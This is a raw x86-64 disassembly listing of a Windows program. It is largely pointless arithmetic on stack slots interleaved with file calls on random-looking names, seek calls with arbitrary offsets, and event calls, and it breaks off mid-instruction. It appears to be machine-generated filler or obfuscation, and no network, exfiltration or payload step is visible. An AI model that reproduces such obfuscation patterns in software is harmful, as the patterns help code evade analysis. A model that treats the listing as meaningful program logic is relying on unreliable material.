lea rax, [rsp + 0x264]
mov qword [rsp + 0x38e0], rax
movzx eax, word [rsp + 0x5d4]
mov rcx, qword [rsp + 0x2670]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x19e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb80]
mov qword [0x1400fd658], rax
movzx eax, word [rsp + 0xaa4]
movzx ecx, word [rsp + 0x6d8]
and eax, ecx
mov word [rsp + 0x198], ax
mov rax, qword [rsp + 0x1c48]
mov rax, qword [rax]
mov qword [rsp + 0x2d70], rax
mov rax, qword [rsp + 0x2260]
mov rcx, qword [rsp + 0x980]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1928], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x2ae8], rax
mov rcx, qword [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x1400fd318]
mov ecx, dword [rsp + 0x13d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2980]
mov dword [rcx], eax
mov eax, dword [rsp + 0xe0c]
cdq
mov rcx, qword [rsp + 0x24c8]
idiv dword [rcx]
mov rcx, qword [rsp + 0xc50]
mov dword [rcx], eax
lea rax, [rsp + 0x155]
mov qword [rsp + 0x3108], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.V86LR1LKZDcZFFggM
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3720], rax
mov rax, qword [rsp + 0x12e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1748]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x28f0], rax
mov rcx, qword [rsp + 0x2350]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27d0], eax
mov rax, qword [rsp + 0x7e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x958]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1400fd140], ax
mov rax, qword [rsp + 0x2610]
movzx eax, word [rax]
mov word [rsp + 0xe84], ax
mov rax, qword [rsp + 0x9e0]
movzx eax, word [rax]
mov rcx, qword [0x1400fd308]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x848], ax
movzx eax, word [rsp + 0x300]
mov rcx, qword [rsp + 0x19b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2d8], ax
movsx eax, byte [rsp + 0x9c]
movsx ecx, byte [0x1400fd134]
sub eax, ecx
mov byte [rsp + 0x3f4], al
mov rax, qword [rsp + 0x1150]
mov eax, dword [rax]
add eax, dword [rsp + 0xbb8]
mov dword [rsp + 0x1128], eax
lea rax, [rsp + 0xd38]
mov qword [rsp + 0x29d0], rax
mov rax, qword [rsp + 0x18b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x6ec], ax
movzx eax, word [rsp + 0x5d0]
movzx ecx, word [rsp + 0x268]
and eax, ecx
mov word [rsp + 0x498], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x37c
mov rcx, qword [rsp + 0x3de8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1994], eax
mov rax, qword [rsp + 0x1b30]
mov rcx, qword [rsp + 0x3dd8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fd188], rax
mov rax, qword [rsp + 0x1c48]
mov rax, qword [rax]
mov qword [rsp + 0x3168], rax
mov rax, qword [rsp + 0x3868]
movzx ecx, al
mov rax, qword [rsp + 0x18e8]
sar rax, cl
mov rcx, qword [rsp + 0xd08]
mov qword [rcx], rax
lea rax, [rsp + 0x1700]
mov qword [rsp + 0x30c8], rax
mov rax, qword [rsp + 0x16b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaf8]
add eax, ecx
mov rcx, qword [rsp + 0x14c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x820]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x155]
and eax, ecx
mov byte [rsp + 0x401], al
mov rax, qword [rsp + 0x1c28]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0x1058]
idiv dword [rcx]
mov rcx, qword [rsp + 0x3d88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x568]
mov ecx, dword [rsp + 0x13dc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19d8]
mov dword [rcx], eax
lea rax, [rsp + 0x1260]
mov qword [rsp + 0x4e10], rax
mov rax, qword [rsp + 0x1030]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fd135]
xor eax, ecx
mov byte [0x1400fc383], al
movsx eax, word [rsp + 0x8cc]
movsx ecx, word [rsp + 0x840]
shl eax, cl
mov rcx, qword [rsp + 0x1c10]
mov word [rcx], ax
movzx eax, word [rsp + 0x4c4]
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0xfc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x1fa0]
mov rcx, qword [rsp + 0x7f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1e8]
mov qword [rcx], rax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x2d98], rax
mov rax, qword [0x1400fc390]
mov rcx, qword [rsp + 0x1418]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2500], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2af8], rax
mov eax, dword [rsp + 0x13b8]
mov dword [rsp + 0x27fc], eax
mov rax, qword [rsp + 0x1178]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x258]
add eax, ecx
mov rcx, qword [rsp + 0x1fb0]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc9e8
mov rcx, qword [rsp + 0x3ee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ab4], eax
mov rax, qword [rsp + 0x650]
movzx eax, word [rax]
mov word [0x1400fd660], ax
mov rax, qword [rsp + 0x790]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1cc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2248], rax
mov rax, qword [rsp + 0xdd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x880], ax
movzx eax, byte [rsp + 0x156]
mov rcx, qword [rsp + 0x668]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd98]
mov byte [rcx], al
lea rax, [rsp + 0x1a88]
mov qword [rsp + 0x39c8], rax
movsx eax, byte [rsp + 0x1c8]
movsx ecx, byte [rsp + 0x1c1]
sub eax, ecx
mov rcx, qword [rsp + 0x4988]
mov byte [rcx], al
mov rax, qword [rsp + 0x4990]
mov rax, qword [rax]
mov rcx, qword [0x1400fd148]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12e0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3870]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x268c], eax
lea rax, [rsp + 0x1108]
mov qword [rsp + 0x2cf8], rax
mov rax, qword [rsp + 0x1068]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1798]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x72c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc89e
mov rcx, qword [rsp + 0x4998]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11a8], eax
mov rax, qword [0x1400fd578]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1400fc3d4], ax
lea rax, [rsp + 0x1d28]
mov qword [rsp + 0x2a80], rax
mov rax, qword [rsp + 0x320]
mov rcx, qword [rsp + 0x1bf8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x978], rax
mov rax, qword [rsp + 0x1f30]
movzx eax, word [rax]
mov word [rsp + 0x1580], ax
mov rax, qword [rsp + 0x1770]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov word [rsp + 0x6f4], ax
mov rcx, qword [rsp + 0x1e70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13ec], eax
mov rax, qword [rsp + 0xc68]
mov rcx, qword [rsp + 0x1908]
mov qword [rsp + 0x49a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49a0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x1c60], rax
mov rax, qword [rsp + 0x1ff0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3fd]
add eax, ecx
mov byte [rsp + 0x910], al
mov rax, qword [rsp + 0x17a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x13b4], eax
mov rax, qword [0x1400fd438]
mov rax, qword [rax]
mov qword [rsp + 0x2308], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.Z61mE8DJyCkGt4lm3d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4a08], rax
lea rax, [rsp + 0x868]
mov qword [0x1400fd668], rax
movzx eax, word [rsp + 0x438]
mov rcx, qword [rsp + 0x1a20]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], ax
mov rax, qword [rsp + 0x1278]
mov ecx, dword [rsp + 0x20e4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d8]
movzx eax, byte [rax]
mov byte [rsp + 0x3e8], al
mov rax, qword [rsp + 0x49a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d78]
add rax, qword [rcx]
mov qword [rsp + 0x11d0], rax
mov rax, qword [rsp + 0x2878]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x49b0]
mov qword [rsp + 0x49b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xe1c], eax
mov rax, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x1be8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3740], rax
mov rcx, qword [rsp + 0x1ed8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa88]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd330]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x10c], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc35a
mov rcx, qword [rsp + 0x3db8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbcc], eax
mov rcx, qword [rsp + 0x23d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x19c]
mov qword [rsp + 0x3db0], rax
movzx eax, word [rsp + 0x308]
mov rcx, qword [rsp + 0xa60]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1400fd4a8]
mov word [rcx], ax
mov rax, qword [0x1400fd248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f80]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb28]
mov qword [rcx], rax
movzx eax, word [rsp + 0x4f4]
mov word [rsp + 0x1570], ax
movsx eax, word [rsp + 0x4b8]
movsx ecx, word [rsp + 0x870]
sub eax, ecx
mov rcx, qword [rsp + 0x1fb0]
mov word [rcx], ax
lea rax, [rsp + 0x3668]
mov qword [rsp + 0x2ce8], rax
mov rax, qword [rsp + 0x828]
mov eax, dword [rax]
add eax, dword [rsp + 0x510]
mov rcx, qword [rsp + 0x1548]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1040]
movzx ecx, al
mov rax, qword [rsp + 0xd38]
shr rax, cl
mov qword [rsp + 0x1ae0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.hBYI0dpFN_aSr_tT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3758], rax
movsx eax, byte [rsp + 0x23a]
mov rcx, qword [rsp + 0x538]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x92f], al
movzx eax, word [rsp + 0xbe8]
movzx ecx, word [rsp + 0x724]
sub eax, ecx
mov rcx, qword [rsp + 0x7d0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1270]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
mov rax, qword [0x1400fd438]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1060]
and rcx, rax
mov rax, rcx
mov qword [0x1400fd3a0], rax
mov rax, qword [rsp + 0x14d8]
mov eax, dword [rax]
mov dword [rsp + 0x26f0], eax
mov rax, qword [rsp + 0x830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x156]
and eax, ecx
mov rcx, qword [rsp + 0x1758]
mov byte [rcx], al
movsx eax, word [rsp + 0x55c]
mov rcx, qword [rsp + 0x1698]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf0], ax
mov rax, qword [rsp + 0xb60]
movzx eax, word [rax]
mov word [rsp + 0x69c], ax
mov rax, qword [rsp + 0xd90]
mov rax, qword [rax]
add rax, qword [rsp + 0x2de0]
mov qword [rsp + 0x3940], rax
mov eax, 0x38
imul rax, rax, 5
mov ecx, 0xe3a113c9
mov qword [rsp + rax + 0x5b68], rcx
movsx eax, byte [rsp + 0xf9]
movsx ecx, byte [0x1400fd132]
sar eax, cl
mov byte [rsp + 0x2d0], al
mov rax, qword [rsp + 0x3178]
mov ecx, dword [rsp + 0x27fc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3930]
mov dword [rcx], eax
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x2610]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x464], ax
mov rax, qword [0x1400fd360]
movzx eax, word [rax]
mov word [0x1400fd670], ax
mov rax, qword [rsp + 0x17e8]
mov qword [rsp + 0x3e70], rax
mov rax, qword [rsp + 0x2380]
mov rcx, qword [rsp + 0x2240]
mov qword [rsp + 0x49c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x17f8], rax
mov rax, qword [rsp + 0xb50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x36e0], rax
movsx eax, word [rsp + 0x1d8]
mov rcx, qword [rsp + 0xfe8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x390], ax
mov eax, dword [0x1400fc46c]
mov ecx, dword [rsp + 0x13b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1384], eax
mov rax, qword [rsp + 0xc70]
mov qword [rsp + 0x3718], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3148
mov rcx, qword [rsp + 0x3670]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0x22d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xfb0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2cb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3d88]
mov ecx, dword [rsp + 0x1a98]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1968], eax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54a]
add eax, ecx
mov byte [rsp + 0x16c], al
movsx eax, word [rsp + 0x490]
movsx ecx, word [rsp + 0x168]
sub eax, ecx
mov word [0x1400fd210], ax
mov rax, qword [rsp + 0x1d68]
movzx eax, word [rax]
mov word [rsp + 0x15c4], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2f90], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x7d9
mov rcx, qword [rsp + 0x1f88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10c8], eax
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x5d0]
and eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x2ec0]
mov rcx, qword [rsp + 0x24e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x16a8], rax
movzx eax, byte [rsp + 0x57b]
mov byte [rsp + 0xe54], al
mov rax, qword [rsp + 0x1508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x13dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1450]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x2568]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1f48
mov rcx, qword [rsp + 0x3928]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x196c], eax
mov rax, qword [0x1400fc390]
movzx ecx, al
mov rax, qword [rsp + 0x2868]
shl rax, cl
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0xf50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5f8]
or eax, ecx
mov rcx, qword [rsp + 0x1178]
mov word [rcx], ax
movzx eax, word [rsp + 0x4d8]
mov rcx, qword [rsp + 0x25d0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc88]
mov word [rcx], ax
mov rcx, qword [rsp + 0x16b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1694], eax
mov rax, qword [rsp + 0x22e8]
mov rcx, qword [0x1400fd400]
mov qword [rsp + 0x49c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49c8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fc4e0], rax
movzx eax, word [rsp + 0x6a8]
mov word [rsp + 0x15a4], ax
mov rax, qword [rsp + 0x2908]
mov rcx, qword [rsp + 0x1308]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd08]
mov qword [rcx], rax
lea rax, [0x1400fc4c0]
mov qword [rsp + 0x39f0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3ac4
mov rcx, qword [rsp + 0x2eb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2144], eax
mov eax, dword [rsp + 0x574]
mov ecx, dword [rsp + 0xbbc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1670], eax
movsx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x22d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40a], al
lea rax, [rsp + 0x1a7c]
mov qword [rsp + 0x2460], rax
mov rcx, qword [rsp + 0x1270]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x580]
and eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [0x1400fd3e8]
movzx ecx, al
mov rax, qword [rsp + 0x3180]
shr rax, cl
mov qword [rsp + 0x19f0], rax
mov rax, qword [rsp + 0x278]
movzx eax, word [rax]
mov word [0x1400fd674], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1bbd
mov rcx, qword [rsp + 0x36f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27d8], eax
movsx eax, word [rsp + 0x25c]
movsx ecx, word [rsp + 0x6b4]
and eax, ecx
mov word [rsp + 0x1d0], ax
lea rax, [rsp + 0xc30]
mov qword [rsp + 0x3318], rax
mov rcx, qword [rsp + 0x4048]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21b0], eax
movzx eax, word [0x1400fc3d4]
movzx ecx, word [rsp + 0x450]
sub eax, ecx
mov word [rsp + 0x428], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x34ef
mov rcx, qword [rsp + 0x1cf8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x112c], eax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27d4], eax
mov rax, qword [rsp + 0x3e28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2500]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf30]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1128]
mov dword [rsp + 0x2734], eax
movsx eax, byte [rsp + 0x403]
movsx ecx, byte [rsp + 0x1c1]
and eax, ecx
mov rcx, qword [rsp + 0x2ee8]
mov byte [rcx], al
mov rax, qword [rsp + 0x1710]
movzx eax, word [rax]
mov word [rsp + 0x1630], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.rOqNpRFQAsP25qj8PmqcL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x40b0], rax
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x49c]
or eax, ecx
mov word [rsp + 0xc30], ax
mov rcx, qword [rsp + 0x1ec8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x18f0]
mov rcx, qword [rsp + 0x3078]
xor rcx, rax
mov rax, rcx
mov qword [0x1400fc3a0], rax
mov rax, qword [rsp + 0x3660]
mov rcx, qword [rsp + 0x1838]
mov qword [rsp + 0x49d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd30], rax
mov rax, qword [rsp + 0x2a78]
mov rcx, qword [rsp + 0xff0]
mov qword [rsp + 0x49d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x23f8], rax
mov rax, qword [rsp + 0x1238]
mov rcx, qword [rsp + 0x38b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x23f8], rax
movzx eax, word [rsp + 0x1554]
mov word [rsp + 0x2234], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x757c
mov rcx, qword [rsp + 0x29b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov rax, qword [rsp + 0x1dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x168c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2c48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3108]
movzx eax, byte [rax]
cdq
mov ecx, 0xab
idiv ecx
mov byte [rsp + 0x109], al
mov rcx, qword [rsp + 0x2618]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x211c], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x719e
mov rcx, qword [rsp + 0x2340]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x166c], eax
mov rax, qword [rsp + 0xf40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
and eax, ecx
mov byte [rsp + 0x2ce], al
mov rax, qword [rsp + 0xd90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1b88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2eb0], rax
mov eax, dword [rsp + 0x208]
mov rcx, qword [rsp + 0x18f8]
mov qword [rsp + 0x49e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49e0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x1400fc4e8], eax
lea rax, [0x1400fc4d4]
mov qword [rsp + 0x2498], rax
mov rax, qword [rsp + 0x3d90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x240]
sub eax, ecx
mov word [rsp + 0x72c], ax
mov rax, qword [rsp + 0x648]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaf8]
and eax, ecx
mov word [rsp + 0x598], ax
mov rax, qword [rsp + 0x18b8]
mov qword [rsp + 0x3fb0], rax
mov rcx, qword [rsp + 0x1b48]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4338], eax
mov rax, qword [rsp + 0x2578]
mov rcx, qword [rsp + 0xd38]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x22c8], rax
mov rax, qword [rsp + 0x19a8]
movzx eax, byte [rax]
mov byte [rsp + 0x60a], al
mov eax, dword [rsp + 0x630]
movzx ecx, al
mov eax, dword [0x1400fd5e4]
shl eax, cl
mov rcx, qword [rsp + 0x2370]
mov dword [rcx], eax
movsx eax, word [rsp + 0x5a0]
movsx ecx, word [rsp + 0xc24]
xor eax, ecx
mov word [rsp + 0xbf8], ax
movzx eax, word [rsp + 0x2d8]
mov rcx, qword [0x1400fd288]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc3e4], ax
mov rax, qword [rsp + 0x1d20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd48]
add rax, qword [rcx]
mov qword [rsp + 0x14e8], rax
mov rax, qword [rsp + 0x23c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x210]
sub eax, ecx
mov rcx, qword [rsp + 0x10a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf8]
mov byte [rsp + 0x402], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9843
mov rcx, qword [rsp + 0x2e98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1198], eax
mov rax, qword [rsp + 0x2a40]
mov rcx, qword [rsp + 0x2f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xdc0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x3cf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1104], eax
movsx eax, byte [rsp + 0x1c7]
mov rcx, qword [rsp + 0x1be0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x406], al
mov rax, qword [rsp + 0x2300]
mov rcx, qword [rsp + 0x2bb8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2528], rax
mov eax, dword [rsp + 0x630]
mov ecx, dword [rsp + 0xb8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1498]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.MlqIQOjTU94mDK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x37b0], rax
mov rax, qword [0x1400fd630]
movzx eax, word [rax]
mov word [rsp + 0x3624], ax
mov rax, qword [rsp + 0x1f90]
movzx eax, word [rax]
mov word [0x1400fd678], ax
mov rax, qword [rsp + 0x2e48]
mov rcx, qword [rsp + 0xb48]
mov qword [rsp + 0x49e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49e8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3270], rax
lea rax, [rsp + 0x29a0]
mov qword [rsp + 0x2608], rax
mov rcx, qword [rsp + 0x41c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f4], eax
movsx eax, word [0x1400fc3b0]
movsx ecx, word [rsp + 0x390]
add eax, ecx
mov word [rsp + 0x840], ax
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0x3b8]
sub eax, ecx
mov rcx, qword [rsp + 0x648]
mov word [rcx], ax
mov rax, qword [0x1400fd358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x998]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xba0], eax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d00]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc98], rax
mov rax, qword [rsp + 0x1c38]
movzx eax, byte [rax]
mov byte [rsp + 0x90e], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xa9d0
mov rcx, qword [rsp + 0x37b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4068], rax
mov rax, qword [0x1400fd220]
mov rcx, qword [rsp + 0x2400]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x1838]
mov qword [rcx], rax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x21c]
shl eax, cl
mov rcx, qword [0x1400fd510]
mov word [rcx], ax
mov rax, qword [rsp + 0x2488]
movzx eax, word [rax]
mov rcx, qword [0x1400fd5e8]
